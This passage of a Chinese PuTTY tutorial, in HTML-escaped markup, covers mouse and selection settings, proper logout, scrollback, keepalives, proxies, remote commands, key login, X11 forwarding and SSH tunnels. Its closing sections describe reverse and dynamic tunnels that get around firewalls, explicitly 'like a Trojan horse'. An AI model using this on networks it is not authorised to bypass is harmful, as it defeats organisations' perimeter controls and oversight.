Window-〉Selection 这里可以设置复制和粘贴的方式。&lt;br id=&quot;nkpr190&quot; /&gt;&lt;img style=&quot;width: 610px; height: 460px&quot; id=&quot;nkpr191&quot; title=&quot;PuTTY 中的复制和粘贴选项&quot; alt=&quot;&quot; src=&quot;http://docs.google.com/File?id=ajbgz6fp3pjh_39fxmjwf&quot; /&gt;&lt;br id=&quot;nkpr192&quot; /&gt;默认的 Action of mouse buttons （鼠标按键的功能）的选项是 Compromise，这种方式下选中有两种方式，一是直接用鼠标左键拖拉选中就可以了，二是用鼠标中键单击选中区域的开头，用滚动条拖拉到期望选中区域的末尾，再用鼠标中键单击，就可以选中了。&lt;br id=&quot;nkpr193&quot; /&gt;选中以后，单击鼠标左键就把选中部分复制到剪贴板了。粘贴也很简单，单击鼠标右键。&lt;br id=&quot;nkpr194&quot; /&gt;Action of mouse buttons 的第一个选项是 Windows （Windows 方式的），鼠标中键的操作跟前面提到的一样。右键不是粘贴了，而是打开了右键菜单。&lt;br id=&quot;nkpr195&quot; /&gt;&lt;img style=&quot;width: 610px; height: 368px&quot; id=&quot;nkpr196&quot; title=&quot;Windows  方式下的右键菜单&quot; alt=&quot;&quot; src=&quot;http://docs.google.com/File?id=ajbgz6fp3pjh_40ftpjhp&quot; /&gt;&lt;br id=&quot;nkpr197&quot; /&gt;其实这个右键菜单在标题栏上点击，也都可以看得到。&lt;br id=&quot;nkpr198&quot; /&gt;&lt;img style=&quot;width: 610px; height: 436px&quot; id=&quot;nkpr199&quot; title=&quot;PuTTY 标题栏上的右键菜单&quot; alt=&quot;&quot; src=&quot;http://docs.google.com/File?id=ajbgz6fp3pjh_41ctwjj7&quot; /&gt;&lt;br id=&quot;nkpr200&quot; /&gt;第三个选项是 xterm （xterm 方式），这个跟默认的 Compromise 方式相反的，中键和右键的操作调换了一下，就不多说了。&lt;br id=&quot;nkpr201&quot; /&gt;下面那个 Shift overrides application&apos;s use of mouse 是和 Shift 键有关的。有些 Rogue Like 的程序，比如 mc、links、Lynx、VIM 等等，都支持鼠标操作，想在用鼠标在上面选择或粘贴就不行了。这个选项默认是选中的，在支持鼠标操作的 Rogue Like 界面下，按住 Shift 键，就可以像前面的那样用鼠标来选择、复制、粘贴了。&lt;br id=&quot;nkpr202&quot; /&gt;看下面的这个图片，用 Links 打开了 Google 的首页，用鼠标去选中 顶部中间的 Google，我们会发现，弹出了保存的对话框。&lt;br id=&quot;nkpr203&quot; /&gt;&lt;img style=&quot;width: 610px; height: 366px&quot; id=&quot;nkpr204&quot; title=&quot;Links 打开了对话框&quot; alt=&quot;&quot; src=&quot;http://docs.google.com/File?id=ajbgz6fp3pjh_44d4r9km&quot; /&gt;&lt;br id=&quot;nkpr205&quot; /&gt;按住 Shift 键重新操作一次，哈哈，这次选中了。&lt;br id=&quot;nkpr206&quot; /&gt;&lt;img style=&quot;width: 610px; height: 366px&quot; id=&quot;nkpr207&quot; title=&quot;在 Links 的界面下用鼠标来选择&quot; alt=&quot;&quot; src=&quot;http://docs.google.com/File?id=ajbgz6fp3pjh_45fdnmqs&quot; /&gt;&lt;br id=&quot;nkpr208&quot; /&gt;在 Control use of mouse 里面还有个 Default selection mode （默认的选择模式），默认是 Normal，就像文字处理工具里这样的选择&lt;br id=&quot;nkpr209&quot; /&gt;&lt;img style=&quot;width: 610px; height: 366px&quot; id=&quot;nkpr210&quot; title=&quot;PuTTY 默认的选择模式&quot; alt=&quot;&quot; src=&quot;http://docs.google.com/File?id=ajbgz6fp3pjh_42fqrphv&quot; /&gt;&lt;br id=&quot;nkpr211&quot; /&gt;另外一个是 Rectangular block（块选择方式），至于用哪种方式就看自己的选择了。&lt;br id=&quot;nkpr212&quot; /&gt;&lt;img style=&quot;width: 610px; height: 366px&quot; id=&quot;nkpr213&quot; title=&quot;PuTTY 的块选择模式&quot; alt=&quot;&quot; src=&quot;http://docs.google.com/File?id=ajbgz6fp3pjh_43crqhds&quot; /&gt;&lt;br id=&quot;nkpr214&quot; /&gt;&lt;br id=&quot;nkpr215&quot; /&gt;&lt;/p&gt;&lt;h1 id=&quot;nkpr216&quot;&gt;实时保存会话&lt;/h1&gt;&lt;p&gt;这次更改配置参数了，关闭窗口后，下次使用还是要重新选择的，麻烦。&lt;br id=&quot;nkpr217&quot; /&gt;还是回到上面修改配置的哪个地方，选择左边的 Session，在右边选择要覆盖的会话名称，或者重新输入一个新的名称，点击 Save 按钮保存。&lt;br id=&quot;nkpr218&quot; /&gt;&lt;img id=&quot;nkpr219&quot; title=&quot;实时保存会话&quot; alt=&quot;&quot; src=&quot;http://docs.google.com/File?id=ajbgz6fp3pjh_15cv6tjj&quot; width=&quot;479&quot; height=&quot;460&quot; /&gt;&lt;br id=&quot;nkpr220&quot; /&gt;&lt;/p&gt;&lt;h2 id=&quot;nkpr221&quot;&gt;关于注销登录的一些事情&lt;/h2&gt;&lt;p&gt;成功登录主机后，也能正常看到中文了。这样，我们就可以完成大部分的工作。最后要关闭窗口了，该怎么办呢？我见过很多人，包括我们公司负责专职维护的同事，都是直接点击窗口上的关闭按钮，完全没有理会弹出警告窗口，直接点击了 Yes。&lt;br id=&quot;nkpr222&quot; /&gt;&lt;img id=&quot;nkpr223&quot; title=&quot;直接关闭窗口前的提示&quot; alt=&quot;&quot; src=&quot;http://docs.google.com/File?id=ajbgz6fp3pjh_16cfthdg&quot; width=&quot;348&quot; height=&quot;150&quot; /&gt;&lt;br id=&quot;nkpr224&quot; /&gt;这样做是不对的，首先&lt;b&gt;这不是正确的注销方式&lt;/b&gt;，应该&lt;b&gt;输入命令 exit 来正常注销&lt;/b&gt;；其次直接关闭窗口后，你的登录其实还在服务器上，如果一连多次的这样强制关闭窗口，用命令 w 或者 who 命令查看时，可以看到很多的用户还在系统上登录，占用了系统的资源。最重要的是，你的这次登录可能只是为了启动一下 WebLogic 或者其他什么应用服务器，直接关闭窗口后，可能会导致你的业务在随后的几分钟内也被终止，这应该不是你所希望看到的吧。&lt;br id=&quot;nkpr227&quot; /&gt;如果上述的理由是每次要输入 exit 然后回车，比较麻烦。你可以用快捷键 Ctrl+d 来注销登录，一般情况下，快捷键一按窗口都直接关闭了，还省了两次鼠标点击。&lt;br id=&quot;nkpr228&quot; /&gt;在前面说道保存会话时，大家或许也注意到，下面有个 Close window on exit 有三个选项：&lt;br id=&quot;nkpr229&quot; /&gt;&lt;/p&gt;&lt;ul id=&quot;nkpr230&quot;&gt;&lt;li id=&quot;nkpr231&quot;&gt;Always （不管怎样，窗口总是要关闭的）&lt;/li&gt;&lt;li id=&quot;nkpr232&quot;&gt;Never （无论是否有程序还在运行，都不要关闭窗口）&lt;/li&gt;&lt;li id=&quot;nkpr233&quot;&gt;Only on clear exit （这个是默认选中的，只有在本次登录中运行的程序都正常终止或者在后台运行，窗口才关闭）&lt;br id=&quot;nkpr234&quot; /&gt;&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;有的程序在执行时，虽然在命令最后面加上 “&amp;amp;”就能放到后台运行。但是正常注销登录后，窗口没有被自动关闭，还能看到程序的输出，这时强制关闭窗口还是可以的。为了避免这种情形，可以使用 nohup 命令。&lt;br id=&quot;nkpr235&quot; /&gt;用法嘛就是： nohup 命令 命令参数，这样就可以了。&lt;br id=&quot;nkpr236&quot; /&gt;&lt;/p&gt;&lt;h2 id=&quot;nkpr237&quot;&gt;窗口保存的输出有点少，前面的都看不到了&lt;/h2&gt;&lt;p&gt;执行了一个命令，输出了好多东西，但是默认的配置下，PuTTY只保存了最后200行的内容，满足不了我们的需求。&lt;br id=&quot;nkpr238&quot; /&gt;还是在标题栏上点右键选择 Change settings...，在配置窗口的左边选择 Window，修改右边的 Lines of scrollback，改大点，比如 20000、80000的&lt;br id=&quot;nkpr239&quot; /&gt;&lt;img id=&quot;nkpr240&quot; title=&quot;更改窗口的大小&quot; alt=&quot;&quot; src=&quot;http://docs.google.com/File?id=ajbgz6fp3pjh_172ttn2s&quot; width=&quot;479&quot; height=&quot;460&quot; /&gt;&lt;br id=&quot;nkpr241&quot; /&gt;在上面的 Set the size of the window 里设置的是窗口显示的行数和列数，默认是 24 行、80 列，根据自己的需要来修改吧。&lt;br id=&quot;nkpr242&quot; /&gt;When window is resized 这个选项配置的是，当窗口大小发生改变时该采取什么动作。&lt;br id=&quot;nkpr243&quot; /&gt;&lt;/p&gt;&lt;ul id=&quot;nkpr244&quot;&gt;&lt;li id=&quot;nkpr245&quot;&gt;Change the number of rows and columns（这个是默认的，改变窗口大小时，自动修改行数和列数）&lt;/li&gt;&lt;li id=&quot;nkpr246&quot;&gt;Change the size of the font（这个是根据窗口的大小来修改字体的大小，窗口最大化的时候，字都是很大的）&lt;/li&gt;&lt;li id=&quot;nkpr247&quot;&gt;Change font size only when maximised（只有在窗口最大化的时候才改变字体大小）&lt;/li&gt;&lt;li id=&quot;nkpr248&quot;&gt;Forbid resizing completely（完全禁止改变窗口大小，一了百了）&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;在现代的 Unix/Linux 主机上，默认选项已经不存在任何问题了。如果是 Solaris 8 这样的老式 Unix 上最好用第2或第4个选项。&lt;br id=&quot;nkpr249&quot; /&gt;第3个选项嘛，要求你的屏幕不是宽屏的，选中这个选项以后，大家可以先把窗口往窄的缩一下，然后最大化窗口，哈哈，满足一下不是宽屏的虚荣心。&lt;br id=&quot;nkpr250&quot; /&gt;顺便说一下，在 PuTTY 中的前后翻页，与 Linux 终端一样，用 Shift+PageUp/PageDown 来上下翻页，而 Ctrl+PageUp/PageDown 则是一行一行的。&lt;br id=&quot;nkpr251&quot; /&gt;&lt;/p&gt;&lt;h2 id=&quot;nkpr252&quot;&gt;新建一个会话时，还有些东西再啰嗦一下&lt;/h2&gt;&lt;p&gt;前面把如何用 PuTTY 登录一台主机到注销的过程聊了一遍，但是在新建会话时还是有些东西需要再啰嗦一下的。&lt;br id=&quot;nkpr253&quot; /&gt;&lt;/p&gt;&lt;h3 id=&quot;nkpr254&quot;&gt;保持连接，不要自动断开&lt;/h3&gt;&lt;p&gt;在 Connection 里面有个 Seconds between keepaliaves，这里就是每间隔指定的秒数，就给服务器发送一个空的数据包，来保持连接。以免登录的主机那边在长时间没接到数据后，会自动断开 SSH 的连接。&lt;br id=&quot;nkpr255&quot; /&gt;默认输入 0 是禁用保持连接，在这里我习惯的设置了 10。&lt;br id=&quot;nkpr256&quot; /&gt;下面的那两个复选框都保持默认选中吧。&lt;br id=&quot;nkpr257&quot; /&gt;&lt;img style=&quot;width: 479px; height: 460px&quot; id=&quot;nkpr258&quot; title=&quot;PuTTY 中保持连接不要断开&quot; alt=&quot;&quot; src=&quot;http://docs.google.com/File?id=ajbgz6fp3pjh_29df82d6&quot; /&gt;&lt;/p&gt;&lt;h3 id=&quot;nkpr259&quot;&gt;自动登录用户&lt;/h3&gt;&lt;p&gt;在 Connection-〉Data 里面有个 Auto-login username，可以指定默认的登录用户。如果每次登录主机都是用同一个用户，不妨在这里设置一下。SSH、Telnet、Rlogin 这三种协议都支持，但不是所有的 Telnet 服务器支持自动登录用户&lt;br id=&quot;nkpr260&quot; /&gt;&lt;img style=&quot;width: 479px; height: 460px&quot; id=&quot;nkpr261&quot; title=&quot;指定默认的登录用户&quot; alt=&quot;&quot; src=&quot;http://docs.google.com/File?id=ajbgz6fp3pjh_26fwht7t&quot; /&gt;&lt;br id=&quot;nkpr262&quot; /&gt;&lt;/p&gt;&lt;h3 id=&quot;nkpr263&quot;&gt;自动设置环境变量&lt;/h3&gt;&lt;p&gt;还是前面的那个界面，下面有个 Environment variables，在 Variable 输入环境变量的名称，Value里设置上环境变量的值，登录主机后就会自动设置上，但是这个不一定能用，有些主机为了安全，可能会禁用这个特性，一旦登录就会收到这样一个错误提示：&lt;br id=&quot;nkpr264&quot; /&gt;&lt;/p&gt;&lt;blockquote id=&quot;nkpr265&quot;&gt;Server refused to set environment variables&lt;br id=&quot;nkpr266&quot; /&gt;&lt;/blockquote&gt;&lt;h3 id=&quot;nkpr267&quot;&gt;设置代理服务器&lt;/h3&gt;&lt;p&gt;这个经常用到，设置方法大同小异，注意选择好 Proxy type（代理服务器的类型）就可以了。&lt;br id=&quot;nkpr268&quot; /&gt;代理服务器的地址填写到 Proxy hostname 这里，Port 就是代理服务的端口（HTTP代理常用端口有 3128、8080，Socks5代理常用端口有 1080）&lt;br id=&quot;nkpr269&quot; /&gt;Exclude Hosts/IPs 这里是填写排除的主机地址和IP，有些地址不需要代理，就在这里填写。&lt;br id=&quot;nkpr270&quot; /&gt;有些代理需要认证，用户名填写到 Username，密码则填写到下面的 Password。&lt;br id=&quot;nkpr271&quot; /&gt;&lt;img style=&quot;width: 479px; height: 460px&quot; id=&quot;nkpr272&quot; title=&quot;PuTTY 中设置代理服务器&quot; alt=&quot;&quot; src=&quot;http://docs.google.com/File?id=ajbgz6fp3pjh_27chqpj9&quot; /&gt;&lt;br id=&quot;nkpr273&quot; /&gt;&lt;/p&gt;&lt;h3 id=&quot;nkpr274&quot;&gt;自动执行一个命令&lt;/h3&gt;&lt;p&gt;在 Connection-〉SSH 里有个 Remote command，在这里面填写上远程服务器上的某个命令，比如：df，登录后就会自动执行。&lt;br id=&quot;nkpr275&quot; /&gt;我们在 Unix 上用 ssh 登录主机时用的命令 ssh，在 ssh 的最后面加上远程主机上的命令，就跟这个一样。&lt;br id=&quot;nkpr276&quot; /&gt;但是……，先别着急，一旦设置上这个选项，你会发现在登录成功后，窗口一下就关闭了，嘿，怎么啦？什么也没看见。&lt;br id=&quot;nkpr277&quot; /&gt;因为命令执行完毕的同时，本次 SSH 登录连接也随之关闭。&lt;br id=&quot;nkpr278&quot; /&gt;&lt;img style=&quot;width: 479px; height: 460px&quot; id=&quot;nkpr279&quot; title=&quot;SSH 的一些配置&quot; alt=&quot;&quot; src=&quot;http://docs.google.com/File?id=ajbgz6fp3pjh_2867tphq&quot; /&gt;&lt;br id=&quot;nkpr280&quot; /&gt;你可以把远程自动执行的命令修改成 sleep 10，然后重新登录，再看看效果。&lt;br id=&quot;nkpr281&quot; /&gt;登录成功后，没有出现命令提示符，10秒钟后，窗口自动关闭。这也验证了刚才我说的，命令执行完毕后，SSH 连接自动断开。&lt;br id=&quot;nkpr282&quot; /&gt;冰雪聪明的你一定会想到，如果每次登录主机，都是要重新启动一下 tomcat，那这里就可以填写上这样的命令：&lt;br id=&quot;nkpr283&quot; /&gt;&lt;/p&gt;&lt;blockquote id=&quot;nkpr284&quot;&gt;export CATALINA_HOME=&amp;quot;~/apache-tomcat-5.5.17&amp;quot;;export JAVA_HOME=&amp;quot;~/jdk1.5.0_07&amp;quot;;export PATH=$JAVA_HOME/bin;$PATH ; cd $CATALINA_HOME/bin;./shutdown.sh;./startup.sh;tail -f $CATALINA_HOME/logs/catalina.out&lt;br id=&quot;nkpr285&quot; /&gt;&lt;/blockquote&gt;&lt;p&gt;（上面的命令是一行的哦）&lt;br id=&quot;nkpr286&quot; /&gt;先自动设置一下环境变量（前面有提到，服务器可能会禁用自动设置环境变量，为了保险起见，在这里设置了一下），然后进入 tomcat 的 bin 目录，用 shutdown.sh 停止 tomcat，然后再 startup.sh 启动 tomcat，最后 tail 命令持续观察 tomcat 的日志输出，不想看了，就直接 Ctrl+C 就可以终止 SSH 的会话了。&lt;br id=&quot;nkpr287&quot; /&gt;哈哈，是不是很方便？&lt;br id=&quot;nkpr288&quot; /&gt;不过前面提到的命令 sleep 10，只是建立了 SSH 连接，然后 10 秒钟后自动断开。是不是觉得很无聊没什么用途啊？其实这个命令配合后面提到的 Tunnels（隧道），可以自动保持隧道一定时间的开放，如果指定时间内（在这里就是 10 秒钟）隧道没有被使用，就自动关闭 SSH 连接和隧道。&lt;br id=&quot;nkpr289&quot; /&gt;如果选中了 Don&apos;t start a shell or command at all 就禁用了自动执行命令这一个特性，这个主要是配合 Tunnels （隧道）来使用的。因为有时候，我们只需要利用隧道建立一个 VPN，而并不需要登录上去执行命令。用这个方法建立好隧道以后，就一直开放了，除非自己手工关闭。&lt;br id=&quot;nkpr290&quot; /&gt;&lt;img style=&quot;width: 315px; height: 133px&quot; id=&quot;nkpr291&quot; title=&quot;Protocol options&quot; alt=&quot;&quot; src=&quot;http://docs.google.com/File?id=ajbgz6fp3pjh_48f6945z&quot; /&gt;&lt;br id=&quot;nkpr292&quot; /&gt;嗯，还有个问题哦，如果一次要执行的命令很多，该怎么办呢？嗯，给 PuTTY 用 -m 选项指定一个包含远程主机上执行的命令的文本文件。不过以后还会说到 Plink，就是专门做这个用的，慢慢来慢慢来。&lt;br id=&quot;nkpr293&quot; /&gt;&lt;br id=&quot;nkpr294&quot; /&gt;&lt;/p&gt;&lt;h3 id=&quot;nkpr295&quot;&gt;数据自动压缩传输，变相的提高传输速率&lt;/h3&gt;&lt;p&gt;还是前面的那个界面，Protocol options 里面有个 Enable compression，这个选项的意思就是传输时压缩数据，在连接速度不变的情况下，变相的提高了传输速率。一般的 SSH 服务器都会允许这个选项的，所以还是选中好了。&lt;br id=&quot;nkpr296&quot; /&gt;&lt;img style=&quot;width: 315px; height: 133px&quot; id=&quot;nkpr297&quot; title=&quot;Protocol options&quot; alt=&quot;&quot; src=&quot;http://docs.google.com/File?id=ajbgz6fp3pjh_49gj9fbd&quot; /&gt;&lt;br id=&quot;nkpr298&quot; /&gt;&lt;/p&gt;&lt;h3 id=&quot;nkpr299&quot;&gt;无需口令登录&lt;/h3&gt;&lt;p&gt;在 Connection-〉SSH-〉Auth 这里面有两个需要了解的，以后在讲到 PuTTYGEN 和 Pagent 时会详细介绍的。&lt;br id=&quot;nkpr300&quot; /&gt;一个是 Allow agent forwarding，作用是允许私钥代理的转发。&lt;br id=&quot;nkpr301&quot; /&gt;另外一个是最下面的 Private key file for authentication，选择私钥认证文件。&lt;br id=&quot;nkpr302&quot; /&gt;这两个可以让你用 SSH 登录不用输入主机口令，但是私钥的口令还是需要输入的，如果使用了私钥代理 Pagent ，私钥口令也可以省略。再配合前面提到的自动指定用户名登录，可以实现自动登录主机。登录到主机上以后，用 SSH 登录另外一个同样配置了相同的 私钥认证的主机，也可以不用再次输入口令。&lt;br id=&quot;nkpr303&quot; /&gt;这些可以大大减轻了我们的重复工作，不用单调枯燥的输入用户名和口令，但是这样使用有个后遗症就是如果主机密码没有在另外一个地方记录下来的话，这个密码很快会忘记的，好处嘛，密码可以设置的很长很变态 XD。&lt;br id=&quot;nkpr304&quot; /&gt;&lt;img style=&quot;width: 479px; height: 460px&quot; id=&quot;nkpr305&quot; title=&quot;设置私钥和自动转发私钥认证&quot; alt=&quot;&quot; src=&quot;http://docs.google.com/File?id=ajbgz6fp3pjh_3027j9vc&quot; /&gt;&lt;br id=&quot;nkpr306&quot; /&gt;&lt;/p&gt;&lt;h3 id=&quot;nkpr307&quot;&gt;X11 转发能够让你在 Windows 上使用 Linux 的程序&lt;/h3&gt;&lt;p&gt;这里很简单，选中 Enable X11 forwarding 后登录主机，记得在我们本地运行 X 服务端程序（比如：免费好用的 Xming）。&lt;br id=&quot;nkpr308&quot; /&gt;&lt;img style=&quot;width: 479px; height: 460px&quot; id=&quot;nkpr309&quot; title=&quot;SSH 的 X11 转发&quot; border=&quot;0&quot; hspace=&quot;0&quot; alt=&quot;&quot; src=&quot;http://docs.google.com/File?id=ajbgz6fp3pjh_31dwfs64&quot; /&gt;&lt;br id=&quot;nkpr310&quot; /&gt;然后在控制台直接输入 X 环境下运行的程序，比如：xlogo，我们就可以看到 Linux 上的GUI界面的程序在Windows桌面上打开了。&lt;br id=&quot;nkpr311&quot; /&gt;&lt;/p&gt;&lt;div style=&quot;text-align: left&quot; id=&quot;nkpr312&quot;&gt;&lt;img id=&quot;nkpr313&quot; alt=&quot;&quot; src=&quot;http://docs.google.com/File?id=ajbgz6fp3pjh_75cxsdngfs&quot; /&gt;&lt;/div&gt;&lt;p&gt;运行个复杂的，比如 gnome-session，这个是 GNOME 的启动命令，如果想打开 KDE 就是 startkde&lt;br id=&quot;nkpr314&quot; /&gt;&lt;/p&gt;&lt;div style=&quot;text-align: left&quot; id=&quot;nkpr315&quot;&gt;&lt;img style=&quot;width: 320px&quot; id=&quot;nkpr316&quot; alt=&quot;&quot; src=&quot;http://docs.google.com/File?id=ajbgz6fp3pjh_76hcdrpffv&quot; /&gt;&lt;br id=&quot;nkpr317&quot; /&gt;这样跟在本地使用 X Window 几乎是一样的了，而且还是运行在 Windows 的桌面上呢，骗骗小 mm 还是不错的。或许你会问这样用跟 vnc 那还不一样了？答案是，不一样。如果网络环境不好，还是用vnc吧，否则迟钝的图形响应速度会让你抓狂的。&lt;br id=&quot;nkpr318&quot; /&gt;&lt;/div&gt;&lt;p&gt;打开了 GNOME 桌面，怎么关闭呢？点菜单的注销吧。如果你点了关机，这可关不了你的Windows，关的是远程主机。&lt;br id=&quot;nkpr319&quot; /&gt;&lt;/p&gt;&lt;h3 id=&quot;nkpr320&quot;&gt;用 SSH Tunnels（SSH 隧道），突破防火墙&lt;/h3&gt;&lt;p&gt;哇哦，突破防火墙！是不是忽然有了做黑客的感觉呢？呀！子弹，我躲——，身子往后仰，继续闪……，噢，肚皮被子弹蹭了一下。&lt;br id=&quot;nkpr321&quot; /&gt;简单的说一下，SSH 协议能够通过已经建立好的 SSH 加密链路来转发任意的网络连接，从而避免了网络中的明文传输，也就无法用一些 Sniffer 工具嗅探到我们的隐秘信息了。&lt;br id=&quot;nkpr322&quot; /&gt;先说一下大致的使用过程，登录到主机上以后，就可以建立好一个 SSH 隧道，这时在你的机器本地会开放一个端口，通过本地的这个端口访问，就相当于在主机上去直接访问。很像代理服务器吧，如果隧道另一端的端口是动态的，SSH 隧道就是一个代理了，SSH 隧道的意思大致就是这个。通过 SSH 隧道，我们可以保证从我们这一段到主机那一端是安全的，不会被监听到。&lt;br id=&quot;nkpr323&quot; /&gt;说了这么多，实际演练演练就知道了。在 PuTTY 的 Connection-〉SSH-〉Tunnels 这里就是配置 SSH 隧道的。&lt;br id=&quot;nkpr324&quot; /&gt;Add new forwarded port 这里就是添加隧道转发端口的，其中 Source port 是隧道的源端口，也就是隧道的入口，连接隧道时要连接这个端口。Destination 这里是目的地，隧道的出口，输入的格式是： server:port。&lt;br id=&quot;nkpr325&quot; /&gt;还要说明的一点是 SSH 隧道是有方向的，这个方向是由下面的单选按钮 Local/Remote/Dynamic 来决定的。如果下面的单选按钮选中的是 Local，那么 Destination 这里填写的目标是相对于远程主机而言，而非你的机器。这样的隧道可以称之为正向隧道，隧道的入口是在你的本地，出口在远程主机那一端。如果单选按钮选中的是 Remote，那么目标地址就是相对与你的机器而言，而非远程主机。这样的隧道称之为反向隧道，隧道的入口是远程主机那一端，隧道的出口则是你的本地机器。这与 Local 选项是相反的。而最后一个 Dynamic 则不用指明 Destination 目标地址，也就是说目标地址是动态的了，连入隧道时可以随意指定目标地址，而不像 Local/Remote 指明的固定目标地址，所以这样的隧道就成了变相的加密 socks5 代理服务器了。&lt;br id=&quot;nkpr326&quot; /&gt;看明白了么？是不是会有些糊涂？后面我会举个例子来详细说说的。&lt;br id=&quot;nkpr327&quot; /&gt;&lt;img style=&quot;width: 479px; height: 460px&quot; id=&quot;nkpr328&quot; title=&quot;SSH Tunnels&quot; alt=&quot;&quot; src=&quot;http://docs.google.com/File?id=ajbgz6fp3pjh_337nrmk&quot; /&gt;&lt;br id=&quot;nkpr329&quot; /&gt;开始演练，我们现在建立一条到远程主机 guantouping 上端口 7001 的隧道，在 guantouping 上可以用 nc -l -p 7001 localhost 这条命令建立一个监听本地到端口 7001 的连接，这样确保无法从其他机器访问这台主机的端口，只能在 guantouping 这台主机上用 telnet localhost 7001 来连接。现在我的机器 IP 是 192.168.6.25，如果直接用命令 telnet guantouping 7001 访问的话，那么在主机 guantouping 上会看到这样的提示：&lt;br id=&quot;nkpr330&quot; /&gt;&lt;/p&gt;&lt;blockquote id=&quot;nkpr331&quot;&gt;[taylor@guantouping taylor]$ nc -l -p 7001 localhost&lt;br id=&quot;nkpr332&quot; /&gt;invalid connection to [192.168.6.200] from (UNKNOWN) [192.168.6.25] 1926&lt;br id=&quot;nkpr333&quot; /&gt;&lt;/blockquote&gt;&lt;p&gt;在这个配置面板上， &lt;b&gt;Source port 上填写 8080&lt;/b&gt;，也就是我们要通过本地的 8080 端口来进入 SSH 隧道， &lt;b&gt;Destination 这里填上 127.0.0.1:7001&lt;/b&gt;，就表示被登录的主机 guantouping 访问该主机本地的 127.0.0.1:7001 这个端口。正常登录到主机 guantouping 以后，SSH 隧道就建立好了。&lt;b&gt;在我的机器 192.168.6.25 上输入命令 telnet localhost 8080&lt;/b&gt;，输入一些东西，就会在 guantouping 上看到有响应。在这里我用的是 nc，看起来方便一点，telnet 也是一样的。&lt;br id=&quot;nkpr337&quot; /&gt;&lt;img style=&quot;width: 440px; height: 189px&quot; id=&quot;nkpr338&quot; title=&quot;隧道演示：从本地端口 8080 到远程主机 7001 端口&quot; alt=&quot;&quot; src=&quot;http://docs.google.com/File?id=ajbgz6fp3pjh_71grqbj7&quot; /&gt;&lt;br id=&quot;nkpr339&quot; /&gt;这就是正向 SSH 隧道的一个例子，大家实地操作几次也就会明白了。最上面有个复选框是“Local ports accept connections from other hosts”，这个选项的作用是允许其他主机连接你机器上的隧道入口，默认情况下建立好隧道以后，只允许本地链接。只有选中这个复选框才允许其他主机连接你的本地隧道入口。&lt;br id=&quot;nkpr340&quot; /&gt;&lt;/p&gt;&lt;h2 id=&quot;nkpr341&quot;&gt;象特洛伊木马一样建立一条 SSH 反向隧道&lt;/h2&gt;&lt;p&gt;下面要说的就是选中单选按钮 Remote 后建立的反向 SSH 隧道，这样的隧道做什么用呢？一般防火墙都是允许从内往外链接，而不允许从外到内的链接，除非在防火墙上做好nat或端口转发。现在，你在防火墙的内部，但是又想让外面的人链接到你的机器上。防火墙厚厚的城门紧闭，外面的人进不来，只有你能从里面打开这扇防护严密的大门，就像一个特洛伊木马一样，你主动连接出去建立一个反向的 SSH 隧道，然后外面的人就可以通过这个反向的 SSH 隧道轻松突破防火墙链接到的你的本地机器。看下面这个图：&lt;br id=&quot;nkpr342&quot; /&gt;&lt;/p&gt;&lt;div style=&quot;text-align: left&quot; id=&quot;nkpr343&quot;&gt;&lt;img id=&quot;nkpr344&quot; alt=&quot;&quot; src=&quot;http://docs.google.com/File?id=ajbgz6fp3pjh_77xkp6vkgg&quot; /&gt;&lt;/div&gt;&lt;p&gt;在 Source port 这里填写 8080，也就是隧道的入口是端口8080，Destination 这里填写 localhost:7001，也就是隧道的出口是本地的 7001 端口，下面的单选按钮要选中 Remote，表示建立的隧道是个反向隧道，填写完毕别忘记点 Add 按钮，在上面就可以看到显示的是 R8080 localhost:7001。成功登录远程主机 guantouping 后，反向隧道就建立好了。在远程主机 guantouping 上输入命令 telnet localhost 8080 就可以连接到你的本地端口7001。&lt;br id=&quot;nkpr345&quot; /&gt;&lt;/p&gt;&lt;div style=&quot;text-align: left&quot; id=&quot;nkpr346&quot;&gt;&lt;img id=&quot;nkpr347&quot; alt=&quot;&quot; src=&quot;http://docs.google.com/File?id=ajbgz6fp3pjh_78gg562vfc&quot; /&gt;&lt;br id=&quot;nkpr348&quot; /&gt;&lt;br id=&quot;nkpr349&quot; /&gt;哈哈，这样一个特洛伊木马般的反向 SSH 隧道就建立完毕了。我们在远程主机上连接 8080 端口，其实就连接到了我们本地机器的7001 端口了。上面共有两个复选框，我们提到了一个，已经说了，选中以后就允许其他机器连接隧道入口了。那第二个“Remote ports do the same (SSH-2 only)”，则是给反向隧道使用的，也就是说远程主机的那个反响隧道入口也做同样的事情，也就是允许其他机器连接远程主机上的反向隧道入口，不过一般情况下这个选项都不会起作用的 ^_^。&lt;br id=&quot;nkpr350&quot; /&gt;&lt;/div&gt;&lt;h2 id=&quot;nkpr351&quot;&gt;把 PuTTY 作为一个安全的代理服务器来使用&lt;/h2&gt;&lt;p&gt;这个简单，在 Source port 那里填写上 1080，Destination 这里空下不填，选中下面的 Dynamic，最后别忘了点 Add 按钮。&lt;br id=&quot;nkpr352&quot; /&gt;&lt;/p&gt;&lt;div style=&quot;text-align: left&quot; id=&quot;nkpr353&quot;&gt;&lt;img id=&quot;nkpr354&quot; alt=&quot;&quot; src=&quot;http://docs.google.com/File?id=ajbgz6fp3pjh_79fjmmc9fs&quot; /&gt;&lt;/div&gt;&lt;p&gt;登录远程主机后，一个代理服务器就建立好了，这个代理服务器的地址就是 localhost:1080，还是加密的哦。据说国外某著名的主机供应商就提供远程的 SSH 链接，通过这个方法我们就建立了一个加密的 socks5 代理，可以轻松绕过万恶的 GFW 去拥抱 Wikipedia，波～～～，来一口。&lt;br id=&quot;nkpr355&quot; /&gt;&lt;/p&gt;&lt;h3 id=&quot;nkpr356&quot;&gt;设置 PuTTY 的默认设置&lt;/h3&gt;&lt;p&gt;每次登录主机，无一例外的修改字体，修改字符集，修改窗口的大小，指定私钥文件，允许 X11 转发，……&lt;br id=&quot;nkpr357&quot; /&gt;几台主机还好说，几十个上百个主机这样三天两头的设置也会让唐僧烦了的。&lt;br id=&quot;nkpr358&quot; /&gt;选中一个先前配置好的会话，点 Load 按钮。&lt;br id=&quot;nkpr359&quot; /&gt;&lt;img style=&quot;width: 479px; height: 460px&quot; id=&quot;nkpr360&quot; title=&quot;装载已经保存了的 PuTTY 会话&quot; alt=&quot;&quot; src=&quot;http://docs.google.com/File?id=ajbgz6fp3pjh_37frnzzw&quot; /&gt;&lt;br id=&quot;nkpr361&quot; /&gt;然后修改Saved Sessions会话名称 和 Host Name 这里的主机地址，点Save&lt;br id=&quot;nkpr362&quot; /&gt;&lt;img style=&quot;width: 479px; height: 460px&quot; id=&quot;nkpr363&quot; title=&quot;修改当前的会话，另存为一个&quot; alt=&quot;&quot; 